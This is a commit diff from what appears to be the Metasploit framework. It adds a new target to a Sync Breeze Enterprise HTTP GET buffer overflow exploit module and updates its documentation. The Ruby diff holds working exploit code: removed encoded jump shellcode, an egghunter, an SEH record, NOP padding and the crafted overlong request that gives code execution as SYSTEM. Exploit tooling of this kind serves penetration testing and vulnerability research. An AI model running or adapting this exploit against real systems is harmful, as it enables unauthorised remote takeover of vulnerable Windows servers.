Land rapid7#9269, add new target for Sync Breeze Enterprise GET BoF

Land rapid7#9269

Author: wchen-r7

documentation/modules/exploit/windows/http/syncbreeze_bof.md

@@ -1,8 +1,17 @@
 ## Vulnerable Application
 
-[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
+[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28, v10.0.28, and v10.1.16
+are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker
+to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities
+are caused by improper bounds checking of the request path in HTTP GET requests and username value
+via HTTP POST requests sent to the built-in web server, respectively.
+
+This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available
+for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe)
+and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
 
 ## Verification Steps
+
   1. Install a vulnerable Sync Breeze Enterprise
   2. Start `Sync Breeze Enterprise` service
   3. Start `Sync Breeze Enterprise` client application

modules/exploits/windows/http/syncbreeze_bof.rb

@@ -24,8 +24,8 @@ module has been tested successfully on Windows 7 SP1 x86.
       'Author'         =>
         [
           'Daniel Teixeira',
-          'Andrew Smith', 	      # MSF support for v10.0.28
-          'Owais Mehtab',  	      # Original v10.0.28 exploit
+          'Andrew Smith',             # MSF support for v10.0.28
+          'Owais Mehtab',             # Original v10.0.28 exploit
           'Milton Valencia (wetw0rk)' # MSF support for v10.1.16
         ],
       'DefaultOptions' =>
@@ -168,32 +168,31 @@ def exploit
       )
     when targets[3]
       target = targets[3]
-      jumpcode = "\x25\x4a\x4d\x4e\x55"   # and eax,0x554e4d4a
-      jumpcode << "\x25\x35\x32\x31\x2a"  # and eax,0x2a313235
-      jumpcode << "\x2d\x37\x37\x37\x37"  # sub eax,0x37373737
-      jumpcode << "\x2d\x74\x74\x74\x74"  # sub eax,0x74747474
-      jumpcode << "\x2d\x55\x54\x55\x70"  # sub eax,0x70555455
-      jumpcode << "\x50"                  # push eax
-      jumpcode << "\x25\x4a\x4d\x4e\x55"  # and eax,0x554e4d4a
-      jumpcode << "\x25\x35\x32\x31\x2a"  # and eax,0x2a313235
-      jumpcode << "\x2d\x2d\x76\x7a\x63"  # sub eax,0x637a762d
-      jumpcode << "\x2d\x2d\x76\x7a\x30"  # sub eax,0x307a762d
-      jumpcode << "\x2d\x25\x50\x7a\x30"  # sub eax,0x307a5025
-      jumpcode << "\x50"                  # push eax
-      jumpcode << "\xff\xe4"              # jmp esp
+
+      eggoptions = {
+        checksum: true,
+        eggtag: rand_text_alpha(4, payload_badchars)
+      }
+
+      hunter, egg = generate_egghunter(
+        payload.encoded,
+        payload_badchars,
+        eggoptions
+      )
 
       sploit = payload.encoded
-      sploit << 'A' * (target['Offset'] - payload.encoded.length)
-      sploit << "\x74\x06\x75\x06"
-      sploit << [target.ret].pack('V')
-      sploit << jumpcode
-      sploit << 'A' * (9067 - (target['Offset'] + payload.encoded.length + 8 + jumpcode.length))
+      sploit << rand_text_alpha(target['Offset'] - payload.encoded.length, payload_badchars)
+      sploit << generate_seh_record(target.ret)
+      sploit << hunter
+      # Push the payload out of this buffer, which will make the hunger look for the payload
+      # somewhere else that has the complete payload.
+      sploit << make_nops(200)
+      sploit << egg
+      sploit << rand_text_alpha(9067 - sploit.length, payload_badchars)
 
       send_request_cgi(
-      'uri'        =>  '/' + sploit,
-      'method'     =>  'GET',
-      'host'       =>  '4.2.2.2',
-      'connection' =>  'keep-alive'
+        'uri'    =>  "/#{sploit}",
+        'method' =>  'GET'
       )
     else
       print_error("Exploit not suitable for this target.")